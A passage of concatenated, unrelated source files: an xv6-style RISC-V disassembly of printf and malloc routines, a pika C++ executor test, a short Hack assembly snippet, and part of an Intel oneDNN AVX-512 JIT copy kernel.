vprintf(int fd, const char *fmt, va_list ap)
{
f5e: 7119 addi sp,sp,-128
f60: fc86 sd ra,120(sp)
f62: f8a2 sd s0,112(sp)
f64: f4a6 sd s1,104(sp)
f66: f0ca sd s2,96(sp)
f68: ecce sd s3,88(sp)
f6a: e8d2 sd s4,80(sp)
f6c: e4d6 sd s5,72(sp)
f6e: e0da sd s6,64(sp)
f70: fc5e sd s7,56(sp)
f72: f862 sd s8,48(sp)
f74: f466 sd s9,40(sp)
f76: f06a sd s10,32(sp)
f78: ec6e sd s11,24(sp)
f7a: 0100 addi s0,sp,128
char *s;
int c, i, state;
state = 0;
for(i = 0; fmt[i]; i++){
f7c: 0005c903 lbu s2,0(a1)
f80: 18090f63 beqz s2,111e <vprintf+0x1c0>
f84: 8aaa mv s5,a0
f86: 8b32 mv s6,a2
f88: 00158493 addi s1,a1,1
state = 0;
f8c: 4981 li s3,0
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
f8e: 02500a13 li s4,37
f92: 4c55 li s8,21
f94: 00000c97 auipc s9,0x0
f98: 4bcc8c93 addi s9,s9,1212 # 1450 <malloc+0x22e>
printptr(fd, va_arg(ap, uint64));
} else if(c == 's'){
s = va_arg(ap, char*);
if(s == 0)
s = "(null)";
while(*s != 0){
f9c: 02800d93 li s11,40
putc(fd, 'x');
fa0: 4d41 li s10,16
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
fa2: 00000b97 auipc s7,0x0
fa6: 506b8b93 addi s7,s7,1286 # 14a8 <digits>
faa: a839 j fc8 <vprintf+0x6a>
putc(fd, c);
fac: 85ca mv a1,s2
fae: 8556 mv a0,s5
fb0: 00000097 auipc ra,0x0
fb4: ee0080e7 jalr -288(ra) # e90 <putc>
fb8: a019 j fbe <vprintf+0x60>
} else if(state == '%'){
fba: 01498d63 beq s3,s4,fd4 <vprintf+0x76>
for(i = 0; fmt[i]; i++){
fbe: 0485 addi s1,s1,1
fc0: fff4c903 lbu s2,-1(s1)
fc4: 14090d63 beqz s2,111e <vprintf+0x1c0>
if(state == 0){
fc8: fe0999e3 bnez s3,fba <vprintf+0x5c>
if(c == '%'){
fcc: ff4910e3 bne s2,s4,fac <vprintf+0x4e>
state = '%';
fd0: 89d2 mv s3,s4
fd2: b7f5 j fbe <vprintf+0x60>
if(c == 'd'){
fd4: 11490c63 beq s2,s4,10ec <vprintf+0x18e>
fd8: f9d9079b addiw a5,s2,-99
fdc: 0ff7f793 zext.b a5,a5
fe0: 10fc6e63 bltu s8,a5,10fc <vprintf+0x19e>
fe4: f9d9079b addiw a5,s2,-99
fe8: 0ff7f713 zext.b a4,a5
fec: 10ec6863 bltu s8,a4,10fc <vprintf+0x19e>
ff0: 00271793 slli a5,a4,0x2
ff4: 97e6 add a5,a5,s9
ff6: 439c lw a5,0(a5)
ff8: 97e6 add a5,a5,s9
ffa: 8782 jr a5
printint(fd, va_arg(ap, int), 10, 1);
ffc: 008b0913 addi s2,s6,8
1000: 4685 li a3,1
1002: 4629 li a2,10
1004: 000b2583 lw a1,0(s6)
1008: 8556 mv a0,s5
100a: 00000097 auipc ra,0x0
100e: ea8080e7 jalr -344(ra) # eb2 <printint>
1012: 8b4a mv s6,s2
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
1014: 4981 li s3,0
1016: b765 j fbe <vprintf+0x60>
printint(fd, va_arg(ap, uint64), 10, 0);
1018: 008b0913 addi s2,s6,8
101c: 4681 li a3,0
101e: 4629 li a2,10
1020: 000b2583 lw a1,0(s6)
1024: 8556 mv a0,s5
1026: 00000097 auipc ra,0x0
102a: e8c080e7 jalr -372(ra) # eb2 <printint>
102e: 8b4a mv s6,s2
state = 0;
1030: 4981 li s3,0
1032: b771 j fbe <vprintf+0x60>
printint(fd, va_arg(ap, int), 16, 0);
1034: 008b0913 addi s2,s6,8
1038: 4681 li a3,0
103a: 866a mv a2,s10
103c: 000b2583 lw a1,0(s6)
1040: 8556 mv a0,s5
1042: 00000097 auipc ra,0x0
1046: e70080e7 jalr -400(ra) # eb2 <printint>
104a: 8b4a mv s6,s2
state = 0;
104c: 4981 li s3,0
104e: bf85 j fbe <vprintf+0x60>
printptr(fd, va_arg(ap, uint64));
1050: 008b0793 addi a5,s6,8
1054: f8f43423 sd a5,-120(s0)
1058: 000b3983 ld s3,0(s6)
putc(fd, '0');
105c: 03000593 li a1,48
1060: 8556 mv a0,s5
1062: 00000097 auipc ra,0x0
1066: e2e080e7 jalr -466(ra) # e90 <putc>
putc(fd, 'x');
106a: 07800593 li a1,120
106e: 8556 mv a0,s5
1070: 00000097 auipc ra,0x0
1074: e20080e7 jalr -480(ra) # e90 <putc>
1078: 896a mv s2,s10
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
107a: 03c9d793 srli a5,s3,0x3c
107e: 97de add a5,a5,s7
1080: 0007c583 lbu a1,0(a5)
1084: 8556 mv a0,s5
1086: 00000097 auipc ra,0x0
108a: e0a080e7 jalr -502(ra) # e90 <putc>
for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4)
108e: 0992 slli s3,s3,0x4
1090: 397d addiw s2,s2,-1
1092: fe0914e3 bnez s2,107a <vprintf+0x11c>
printptr(fd, va_arg(ap, uint64));
1096: f8843b03 ld s6,-120(s0)
state = 0;
109a: 4981 li s3,0
109c: b70d j fbe <vprintf+0x60>
s = va_arg(ap, char*);
109e: 008b0913 addi s2,s6,8
10a2: 000b3983 ld s3,0(s6)
if(s == 0)
10a6: 02098163 beqz s3,10c8 <vprintf+0x16a>
while(*s != 0){
10aa: 0009c583 lbu a1,0(s3)
10ae: c5ad beqz a1,1118 <vprintf+0x1ba>
putc(fd, *s);
10b0: 8556 mv a0,s5
10b2: 00000097 auipc ra,0x0
10b6: dde080e7 jalr -546(ra) # e90 <putc>
s++;
10ba: 0985 addi s3,s3,1
while(*s != 0){
10bc: 0009c583 lbu a1,0(s3)
10c0: f9e5 bnez a1,10b0 <vprintf+0x152>
s = va_arg(ap, char*);
10c2: 8b4a mv s6,s2
state = 0;
10c4: 4981 li s3,0
10c6: bde5 j fbe <vprintf+0x60>
s = "(null)";
10c8: 00000997 auipc s3,0x0
10cc: 38098993 addi s3,s3,896 # 1448 <malloc+0x226>
while(*s != 0){
10d0: 85ee mv a1,s11
10d2: bff9 j 10b0 <vprintf+0x152>
putc(fd, va_arg(ap, uint));
10d4: 008b0913 addi s2,s6,8
10d8: 000b4583 lbu a1,0(s6)
10dc: 8556 mv a0,s5
10de: 00000097 auipc ra,0x0
10e2: db2080e7 jalr -590(ra) # e90 <putc>
10e6: 8b4a mv s6,s2
state = 0;
10e8: 4981 li s3,0
10ea: bdd1 j fbe <vprintf+0x60>
putc(fd, c);
10ec: 85d2 mv a1,s4
10ee: 8556 mv a0,s5
10f0: 00000097 auipc ra,0x0
10f4: da0080e7 jalr -608(ra) # e90 <putc>
state = 0;
10f8: 4981 li s3,0
10fa: b5d1 j fbe <vprintf+0x60>
putc(fd, '%');
10fc: 85d2 mv a1,s4
10fe: 8556 mv a0,s5
1100: 00000097 auipc ra,0x0
1104: d90080e7 jalr -624(ra) # e90 <putc>
putc(fd, c);
1108: 85ca mv a1,s2
110a: 8556 mv a0,s5
110c: 00000097 auipc ra,0x0
1110: d84080e7 jalr -636(ra) # e90 <putc>
state = 0;
1114: 4981 li s3,0
1116: b565 j fbe <vprintf+0x60>
s = va_arg(ap, char*);
1118: 8b4a mv s6,s2
state = 0;
111a: 4981 li s3,0
111c: b54d j fbe <vprintf+0x60>
}
}
}
111e: 70e6 ld ra,120(sp)
1120: 7446 ld s0,112(sp)
1122: 74a6 ld s1,104(sp)
1124: 7906 ld s2,96(sp)
1126: 69e6 ld s3,88(sp)
1128: 6a46 ld s4,80(sp)
112a: 6aa6 ld s5,72(sp)
112c: 6b06 ld s6,64(sp)
112e: 7be2 ld s7,56(sp)
1130: 7c42 ld s8,48(sp)
1132: 7ca2 ld s9,40(sp)
1134: 7d02 ld s10,32(sp)
1136: 6de2 ld s11,24(sp)
1138: 6109 addi sp,sp,128
113a: 8082 ret
000000000000113c <fprintf>:
void
fprintf(int fd, const char *fmt, ...)
{
113c: 715d addi sp,sp,-80
113e: ec06 sd ra,24(sp)
1140: e822 sd s0,16(sp)
1142: 1000 addi s0,sp,32
1144: e010 sd a2,0(s0)
1146: e414 sd a3,8(s0)
1148: e818 sd a4,16(s0)
114a: ec1c sd a5,24(s0)
114c: 03043023 sd a6,32(s0)
1150: 03143423 sd a7,40(s0)
va_list ap;
va_start(ap, fmt);
1154: fe843423 sd s0,-24(s0)
vprintf(fd, fmt, ap);
1158: 8622 mv a2,s0
115a: 00000097 auipc ra,0x0
115e: e04080e7 jalr -508(ra) # f5e <vprintf>
}
1162: 60e2 ld ra,24(sp)
1164: 6442 ld s0,16(sp)
1166: 6161 addi sp,sp,80
1168: 8082 ret
000000000000116a <printf>:
void
printf(const char *fmt, ...)
{
116a: 711d addi sp,sp,-96
116c: ec06 sd ra,24(sp)
116e: e822 sd s0,16(sp)
1170: 1000 addi s0,sp,32
1172: e40c sd a1,8(s0)
1174: e810 sd a2,16(s0)
1176: ec14 sd a3,24(s0)
1178: f018 sd a4,32(s0)
117a: f41c sd a5,40(s0)
117c: 03043823 sd a6,48(s0)
1180: 03143c23 sd a7,56(s0)
va_list ap;
va_start(ap, fmt);
1184: 00840613 addi a2,s0,8
1188: fec43423 sd a2,-24(s0)
vprintf(1, fmt, ap);
118c: 85aa mv a1,a0
118e: 4505 li a0,1
1190: 00000097 auipc ra,0x0
1194: dce080e7 jalr -562(ra) # f5e <vprintf>
}
1198: 60e2 ld ra,24(sp)
119a: 6442 ld s0,16(sp)
119c: 6125 addi sp,sp,96
119e: 8082 ret
00000000000011a0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
11a0: 1141 addi sp,sp,-16
11a2: e422 sd s0,8(sp)
11a4: 0800 addi s0,sp,16
Header *bp, *p;
bp = (Header*)ap - 1;
11a6: ff050693 addi a3,a0,-16
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
11aa: 00000797 auipc a5,0x0
11ae: 3267b783 ld a5,806(a5) # 14d0 <freep>
11b2: a02d j 11dc <free+0x3c>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
11b4: 4618 lw a4,8(a2)
11b6: 9f2d addw a4,a4,a1
11b8: fee52c23 sw a4,-8(a0)
bp->s.ptr = p->s.ptr->s.ptr;
11bc: 6398 ld a4,0(a5)
11be: 6310 ld a2,0(a4)
11c0: a83d j 11fe <free+0x5e>
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
11c2: ff852703 lw a4,-8(a0)
11c6: 9f31 addw a4,a4,a2
11c8: c798 sw a4,8(a5)
p->s.ptr = bp->s.ptr;
11ca: ff053683 ld a3,-16(a0)
11ce: a091 j 1212 <free+0x72>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
11d0: 6398 ld a4,0(a5)
11d2: 00e7e463 bltu a5,a4,11da <free+0x3a>
11d6: 00e6ea63 bltu a3,a4,11ea <free+0x4a>
{
11da: 87ba mv a5,a4
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
11dc: fed7fae3 bgeu a5,a3,11d0 <free+0x30>
11e0: 6398 ld a4,0(a5)
11e2: 00e6e463 bltu a3,a4,11ea <free+0x4a>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
11e6: fee7eae3 bltu a5,a4,11da <free+0x3a>
if(bp + bp->s.size == p->s.ptr){
11ea: ff852583 lw a1,-8(a0)
11ee: 6390 ld a2,0(a5)
11f0: 02059813 slli a6,a1,0x20
11f4: 01c85713 srli a4,a6,0x1c
11f8: 9736 add a4,a4,a3
11fa: fae60de3 beq a2,a4,11b4 <free+0x14>
bp->s.ptr = p->s.ptr->s.ptr;
11fe: fec53823 sd a2,-16(a0)
if(p + p->s.size == bp){
1202: 4790 lw a2,8(a5)
1204: 02061593 slli a1,a2,0x20
1208: 01c5d713 srli a4,a1,0x1c
120c: 973e add a4,a4,a5
120e: fae68ae3 beq a3,a4,11c2 <free+0x22>
p->s.ptr = bp->s.ptr;
1212: e394 sd a3,0(a5)
} else
p->s.ptr = bp;
freep = p;
1214: 00000717 auipc a4,0x0
1218: 2af73e23 sd a5,700(a4) # 14d0 <freep>
}
121c: 6422 ld s0,8(sp)
121e: 0141 addi sp,sp,16
1220: 8082 ret
0000000000001222 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
1222: 7139 addi sp,sp,-64
1224: fc06 sd ra,56(sp)
1226: f822 sd s0,48(sp)
1228: f426 sd s1,40(sp)
122a: f04a sd s2,32(sp)
122c: ec4e sd s3,24(sp)
122e: e852 sd s4,16(sp)
1230: e456 sd s5,8(sp)
1232: e05a sd s6,0(sp)
1234: 0080 addi s0,sp,64
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
1236: 02051493 slli s1,a0,0x20
123a: 9081 srli s1,s1,0x20
123c: 04bd addi s1,s1,15
123e: 8091 srli s1,s1,0x4
1240: 0014899b addiw s3,s1,1
1244: 0485 addi s1,s1,1
if((prevp = freep) == 0){
1246: 00000517 auipc a0,0x0
124a: 28a53503 ld a0,650(a0) # 14d0 <freep>
124e: c515 beqz a0,127a <malloc+0x58>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1250: 611c ld a5,0(a0)
if(p->s.size >= nunits){
1252: 4798 lw a4,8(a5)
1254: 02977f63 bgeu a4,s1,1292 <malloc+0x70>
1258: 8a4e mv s4,s3
125a: 0009871b sext.w a4,s3
125e: 6685 lui a3,0x1
1260: 00d77363 bgeu a4,a3,1266 <malloc+0x44>
1264: 6a05 lui s4,0x1
1266: 000a0b1b sext.w s6,s4
p = sbrk(nu * sizeof(Header));
126a: 004a1a1b slliw s4,s4,0x4
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
126e: 00000917 auipc s2,0x0
1272: 26290913 addi s2,s2,610 # 14d0 <freep>
if(p == (char*)-1)
1276: 5afd li s5,-1
1278: a895 j 12ec <malloc+0xca>
base.s.ptr = freep = prevp = &base;
127a: 00000797 auipc a5,0x0
127e: 2c678793 addi a5,a5,710 # 1540 <base>
1282: 00000717 auipc a4,0x0
1286: 24f73723 sd a5,590(a4) # 14d0 <freep>
128a: e39c sd a5,0(a5)
base.s.size = 0;
128c: 0007a423 sw zero,8(a5)
if(p->s.size >= nunits){
1290: b7e1 j 1258 <malloc+0x36>
if(p->s.size == nunits)
1292: 02e48c63 beq s1,a4,12ca <malloc+0xa8>
p->s.size -= nunits;
1296: 4137073b subw a4,a4,s3
129a: c798 sw a4,8(a5)
p += p->s.size;
129c: 02071693 slli a3,a4,0x20
12a0: 01c6d713 srli a4,a3,0x1c
12a4: 97ba add a5,a5,a4
p->s.size = nunits;
12a6: 0137a423 sw s3,8(a5)
freep = prevp;
12aa: 00000717 auipc a4,0x0
12ae: 22a73323 sd a0,550(a4) # 14d0 <freep>
return (void*)(p + 1);
12b2: 01078513 addi a0,a5,16
if((p = morecore(nunits)) == 0)
return 0;
}
}
12b6: 70e2 ld ra,56(sp)
12b8: 7442 ld s0,48(sp)
12ba: 74a2 ld s1,40(sp)
12bc: 7902 ld s2,32(sp)
12be: 69e2 ld s3,24(sp)
12c0: 6a42 ld s4,16(sp)
12c2: 6aa2 ld s5,8(sp)
12c4: 6b02 ld s6,0(sp)
12c6: 6121 addi sp,sp,64
12c8: 8082 ret
prevp->s.ptr = p->s.ptr;
12ca: 6398 ld a4,0(a5)
12cc: e118 sd a4,0(a0)
12ce: bff1 j 12aa <malloc+0x88>
hp->s.size = nu;
12d0: 01652423 sw s6,8(a0)
free((void*)(hp + 1));
12d4: 0541 addi a0,a0,16
12d6: 00000097 auipc ra,0x0
12da: eca080e7 jalr -310(ra) # 11a0 <free>
return freep;
12de: 00093503 ld a0,0(s2)
if((p = morecore(nunits)) == 0)
12e2: d971 beqz a0,12b6 <malloc+0x94>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
12e4: 611c ld a5,0(a0)
if(p->s.size >= nunits){
12e6: 4798 lw a4,8(a5)
12e8: fa9775e3 bgeu a4,s1,1292 <malloc+0x70>
if(p == freep)
12ec: 00093703 ld a4,0(s2)
12f0: 853e mv a0,a5
12f2: fef719e3 bne a4,a5,12e4 <malloc+0xc2>
p = sbrk(nu * sizeof(Header));
12f6: 8552 mv a0,s4
12f8: 00000097 auipc ra,0x0
12fc: b58080e7 jalr -1192(ra) # e50 <sbrk>
if(p == (char*)-1)
1300: fd5518e3 bne a0,s5,12d0 <malloc+0xae>
return 0;
1304: 4501 li a0,0
1306: bf45 j 12b6 <malloc+0x94>
|
// Copyright (c) 2018 Hartmut Kaiser
//
// SPDX-License-Identifier: BSL-1.0
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
// #3182: bulk_then_execute has unexpected return type/does not compile
#include <pika/local/algorithm.hpp>
#include <pika/local/execution.hpp>
#include <pika/local/init.hpp>
#include <pika/modules/testing.hpp>
#include <algorithm>
#include <atomic>
#include <vector>
///////////////////////////////////////////////////////////////////////////////
std::atomic<int> void_count(0);
void fun1(int, pika::shared_future<int> f)
{
PIKA_TEST(f.is_ready());
PIKA_TEST_EQ(f.get(), 42);
++void_count;
}
std::atomic<int> int_count(0);
int fun2(int i, pika::shared_future<int> f)
{
PIKA_TEST(f.is_ready());
PIKA_TEST_EQ(f.get(), 42);
++int_count;
return i;
}
template <typename Executor>
void test_bulk_then_execute(Executor&& exec)
{
pika::shared_future<int> f = pika::make_ready_future(42);
std::vector<int> v(100);
std::iota(v.begin(), v.end(), 0);
{
pika::future<void> fut =
pika::parallel::execution::bulk_then_execute(exec, &fun1, v, f);
fut.get();
PIKA_TEST_EQ(void_count.load(), 100);
}
{
pika::future<std::vector<int>> fut =
pika::parallel::execution::bulk_then_execute(exec, &fun2, v, f);
auto result = fut.get();
PIKA_TEST_EQ(int_count.load(), 100);
PIKA_TEST(result == v);
}
}
int pika_main()
{
{
void_count.store(0);
int_count.store(0);
pika::execution::parallel_executor exec;
test_bulk_then_execute(exec);
}
return pika::local::finalize();
}
int main(int argc, char* argv[])
{
return pika::local::init(pika_main, argc, argv);
}
|
// push constant 7
@7
D=A
@SP
AM=M+1
A=A-1
M=D
// push constant 8
@8
D=A
@SP
AM=M+1
A=A-1
M=D
// add
@SP
A=M-1
D=M
@SP
M=M-1
A=M-1
MD=D+M
|
/*******************************************************************************
* Copyright 2019 Intel Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
#include "common_s16.hpp"
#include "jit_generator.hpp"
namespace dnnl {
namespace impl {
namespace cpu {
jit_avx512_core_s16_copy_bn_kern::jit_avx512_core_s16_copy_bn_kern()
: jit_generator(nullptr, S16_COPY_KERNEL_CODE_SIZE) {
#ifndef _WIN32
#define M rdi
#define N rsi
#define A rdx
#define LDA rcx
#define ALPHA r8
#define B r9
#define I rax
#define A1 r10
#define A2 r8
#define LDA3 r11
#else
#define M rcx
#define N rdx
#define A r8
#define LDA r9
#define ALPHA rax
#define B rdi
#define I rax
#define A1 rsi
#define A2 r10
#define LDA3 r11
#define ARG_ALPHA 40 + stacksize + rsp
#define ARG_B 48 + stacksize + rsp
#endif
inLocalLabel();
{
Xbyak::Label l158;
Xbyak::Label l1c8;
Xbyak::Label l23c;
Xbyak::Label l24;
Xbyak::Label l24c;
Xbyak::Label l258;
Xbyak::Label l270;
Xbyak::Label l2e0;
Xbyak::Label l32c;
Xbyak::Label l370;
Xbyak::Label l3b4;
Xbyak::Label l3c4;
Xbyak::Label l3d0;
Xbyak::Label l3e8;
Xbyak::Label l40;
Xbyak::Label l41c;
Xbyak::Label l448;
Xbyak::Label l474;
Xbyak::Label l49c;
Xbyak::Label l4aa;
Xbyak::Label l4b4;
Xbyak::Label l4c4;
Xbyak::Label l4e0;
Xbyak::Label l500;
Xbyak::Label l520;
Xbyak::Label l540;
Xbyak::Label l558;
Xbyak::Label l568;
Xbyak::Label ldc;
preamble();
#ifdef _WIN32
auto stacksize = get_size_of_abi_save_regs();
mov(ALPHA, ptr[ARG_ALPHA]);
mov(B, ptr[ARG_B]);
#endif
mov(N, qword[N]);
mov(M, qword[M]);
mov(LDA, qword[LDA]);
shl(LDA, 1);
lea(LDA3, ptr[LDA + LDA * 2]);
sub(A, -128);
sub(B, -128);
cmp(N, 0x8);
jl(l24c, T_NEAR);
align(4);
L(l24);
mov(A1, A);
lea(A2, ptr[A1 + LDA * 4]);
lea(I, ptr[A1 + LDA * 8]);
mov(A, I);
mov(I, M);
sar(I, 0x3);
jle(ldc, T_NEAR);
align(4);
L(l40);
vmovdqu(xmm4, xword[A1 - 0x80]);
vmovdqu(xmm5, xword[A1 + LDA * 1 - 0x80]);
vmovdqu(xmm0, xword[A1 + LDA * 2 - 0x80]);
vmovdqu(xmm1, xword[A1 + LDA3 * 1 - 0x80]);
sub(A1, -16);
vmovdqu(xmm2, xword[A2 - 0x80]);
vperm2f128(ymm4, ymm4, ymm2, 0x20);
vmovdqu(xmm3, xword[A2 + LDA * 1 - 0x80]);
vperm2f128(ymm5, ymm5, ymm3, 0x20);
vmovdqu(xmm2, xword[A2 + LDA * 2 - 0x80]);
vperm2f128(ymm0, ymm0, ymm2, 0x20);
vmovdqu(xmm3, xword[A2 + LDA3 * 1 - 0x80]);
vperm2f128(ymm1, ymm1, ymm3, 0x20);
sub(A2, -16);
vunpcklps(ymm2, ymm4, ymm0);
vunpckhps(ymm3, ymm4, ymm0);
vunpcklps(ymm4, ymm5, ymm1);
vunpckhps(ymm5, ymm5, ymm1);
vunpcklps(ymm0, ymm2, ymm4);
vunpckhps(ymm1, ymm2, ymm4);
vunpcklps(ymm2, ymm3, ymm5);
vunpckhps(ymm3, ymm3, ymm5);
vmovdqu(yword[B - 0x80], ymm0);
vmovdqu(yword[B - 0x60], ymm1);
vmovdqu(yword[B - 0x40], ymm2);
vmovdqu(yword[B - 0x20], ymm3);
sub(B, -128);
dec(I);
jg(l40, T_NEAR);
align(4);
L(ldc);
test(M, 0x4);
jle(l158, T_NEAR);
vmovq(xmm0, qword[A1 - 0x80]);
vmovq(xmm1, qword[A1 + LDA * 1 - 0x80]);
vmovq(xmm2, qword[A1 + LDA * 2 - 0x80]);
vmovq(xmm3, qword[A1 + LDA3 * 1 - 0x80]);
sub(A1, -8);
vunpcklps(xmm0, xmm0, xmm2);
vunpcklps(xmm1, xmm1, xmm3);
vmovq(xmm2, qword[A2 - 0x80]);
vmovq(xmm3, qword[A2 + LDA * 1 - 0x80]);
vmovq(xmm4, qword[A2 + LDA * 2 - 0x80]);
vmovq(xmm5, qword[A2 + LDA3 * 1 - 0x80]);
sub(A2, -8);
vunpcklps(xmm2, xmm2, xmm4);
vunpcklps(xmm3, xmm3, xmm5);
vperm2f128(ymm0, ymm0, ymm2, 0x20);
vperm2f128(ymm1, ymm1, ymm3, 0x20);
vunpcklps(ymm2, ymm0, ymm1);
vunpckhps(ymm3, ymm0, ymm1);
vmovdqu(yword[B - 0x80], ymm2);
vmovdqu(yword[B - 0x60], ymm3);
sub(B, -64);
align(4);
L(l158);
test(M, 0x2);
jle(l1c8, T_NEAR);
vmovd(xmm0, dword[A1 - 0x80]);
vmovd(xmm1, dword[A1 + LDA * 1 - 0x80]);
vmovd(xmm2, dword[A1 + LDA * 2 - 0x80]);
vmovd(xmm3, dword[A1 + LDA3 * 1 - 0x80]);
sub(A1, -4);
vunpcklps(xmm0, xmm0, xmm1);
vunpcklps(xmm2, xmm2, xmm3);
vpunpcklqdq(xmm0, xmm0, xmm2);
vmovd(xmm1, dword[A2 - 0x80]);
vmovd(xmm2, dword[A2 + LDA * 1 - 0x80]);
vmovd(xmm3, dword[A2 + LDA * 2 - 0x80]);
vmovd(xmm4, dword[A2 + LDA3 * 1 - 0x80]);
sub(A2, -4);
vunpcklps(xmm1, xmm1, xmm2);
vunpcklps(xmm3, xmm3, xmm4);
vpunpcklqdq(xmm1, xmm1, xmm3);
vinsertf128(ymm0, ymm0, xmm1, 0x1);
vmovdqu(yword[B - 0x80], ymm0);
sub(B, -32);
align(4);
L(l1c8);
test(M, 0x1);
jle(l23c, T_NEAR);
mov(ax, word[A1 - 0x80]);
vpinsrw(xmm0, xmm0, eax, 0x0);
mov(ax, word[A1 + LDA * 1 - 0x80]);
vpinsrw(xmm0, xmm0, eax, 0x1);
mov(ax, word[A1 + LDA * 2 - 0x80]);
vpinsrw(xmm0, xmm0, eax, 0x2);
mov(ax, word[A1 + LDA3 * 1 - 0x80]);
vpinsrw(xmm0, xmm0, eax, 0x3);
lea(A2, ptr[A1 + LDA * 4]);
mov(ax, word[A2 - 0x80]);
vpinsrw(xmm0, xmm0, eax, 0x4);
mov(ax, word[A2 + LDA * 1 - 0x80]);
vpinsrw(xmm0, xmm0, eax, 0x5);
mov(ax, word[A2 + LDA * 2 - 0x80]);
vpinsrw(xmm0, xmm0, eax, 0x6);
mov(ax, word[A2 + LDA3 * 1 - 0x80]);
vpinsrw(xmm0, xmm0, eax, 0x7);
lea(A2, ptr[A2 + LDA * 4]);
vmovdqu(xword[B - 0x80], xmm0);
sub(B, -16);
align(4);
L(l23c);
sub(N, 0x8);
cmp(N, 0x8);
jge(l24, T_NEAR);
align(4);
L(l24c);
cmp(N, 0x4);
jl(l3c4, T_NEAR);
align(4);
L(l258);
mov(A1, A);
lea(A2, ptr[A1 + LDA * 2]);
lea(I, ptr[A1 + LDA * 4]);
mov(A, I);
mov(I, M);
sar(I, 0x3);
jle(l2e0, T_NEAR);
align(4);
L(l270);
vmovdqu(xmm0, xword[A1 - 0x80]);
vmovdqu(xmm1, xword[A1 + LDA * 1 - 0x80]);
sub(A1, -16);
vmovdqu(xmm2, xword[A2 - 0x80]);
vmovdqu(xmm3, xword[A2 + LDA * 1 - 0x80]);
sub(A2, -16);
vperm2f128(ymm0, ymm0, ymm2, 0x20);
vperm2f128(ymm1, ymm1, ymm3, 0x20);
vunpcklps(ymm2, ymm0, ymm1);
vunpckhps(ymm3, ymm0, ymm1);
vperm2f128(ymm0, ymm2, ymm2, 0x1);
vperm2f128(ymm1, ymm3, ymm3, 0x1);
vshufpd(ymm0, ymm2, ymm0, 0xc);
vshufpd(ymm1, ymm3, ymm1, 0xc);
vpermilpd(ymm0, ymm0, 0x6);
vpermilpd(ymm1, ymm1, 0x6);
vmovdqu(yword[B - 0x80], ymm0);
vmovdqu(yword[B - 0x60], ymm1);
sub(B, -64);
dec(I);
jg(l270, T_NEAR);
align(4);
L(l2e0);
test(M, 0x4);
jle(l32c, T_NEAR);
vmovq(xmm0, qword[A1 - 0x80]);
vmovq(xmm1, qword[A1 + LDA * 1 - 0x80]);
sub(A1, -8);
vmovq(xmm2, qword[A2 - 0x80]);
vmovq(xmm3, qword[A2 + LDA * 1 - 0x80]);
sub(A2, -8);
vunpcklps(xmm0, xmm0, xmm2);
vunpcklps(xmm1, xmm1, xmm3);
vunpcklps(xmm2, xmm0, xmm1);
vunpckhps(xmm3, xmm0, xmm1);
vmovdqu(xword[B - 0x80], xmm2);
vmovdqu(xword[B - 0x70], xmm3);
sub(B, -32);
align(4);
L(l32c);
test(M, 0x2);
jle(l370, T_NEAR);
vmovd(xmm0, dword[A1 - 0x80]);
vmovd(xmm1, dword[A1 + LDA * 1 - 0x80]);
sub(A1, -4);
vmovd(xmm2, dword[A2 - 0x80]);
vmovd(xmm3, dword[A2 + LDA * 1 - 0x80]);
sub(A2, -4);
vunpcklps(xmm0, xmm0, xmm1);
vunpcklps(xmm2, xmm2, xmm3);
vpunpcklqdq(xmm0, xmm0, xmm2);
vmovdqu(xword[B - 0x80], xmm0);
sub(B, -16);
align(4);
L(l370);
test(M, 0x1);
jle(l3b4, T_NEAR);
mov(ax, word[A1 - 0x80]);
vpinsrw(xmm0, xmm0, eax, 0x0);
mov(ax, word[A1 + LDA * 1 - 0x80]);
vpinsrw(xmm0, xmm0, eax, 0x1);
mov(ax, word[A1 + LDA * 2 - 0x80]);
vpinsrw(xmm0, xmm0, eax, 0x2);
mov(ax, word[A1 + LDA3 * 1 - 0x80]);
vpinsrw(xmm0, xmm0, eax, 0x3);
lea(A2, ptr[A1 + LDA * 4]);
vmovq(qword[B - 0x80], xmm0);
sub(B, -8);
align(4);
L(l3b4);
sub(N, 0x4);
cmp(N, 0x4);
jge(l258, T_NEAR);
align(4);
L(l3c4);
cmp(N, 0x2);
jl(l4aa, T_NEAR);
align(4);
L(l3d0);
mov(A1, A);
lea(A2, ptr[A1 + LDA * 1]);
lea(I, ptr[A1 + LDA * 2]);
mov(A, I);
mov(I, M);
sar(I, 0x3);
jle(l41c, T_NEAR);
align(4);
L(l3e8);
vmovdqu(xmm0, xword[A1 - 0x80]);
sub(A1, -16);
vmovdqu(xmm1, xword[A2 - 0x80]);
sub(A2, -16);
vunpcklps(xmm2, xmm0, xmm1);
vunpckhps(xmm3, xmm0, xmm1);
vmovdqu(xword[B - 0x80], xmm2);
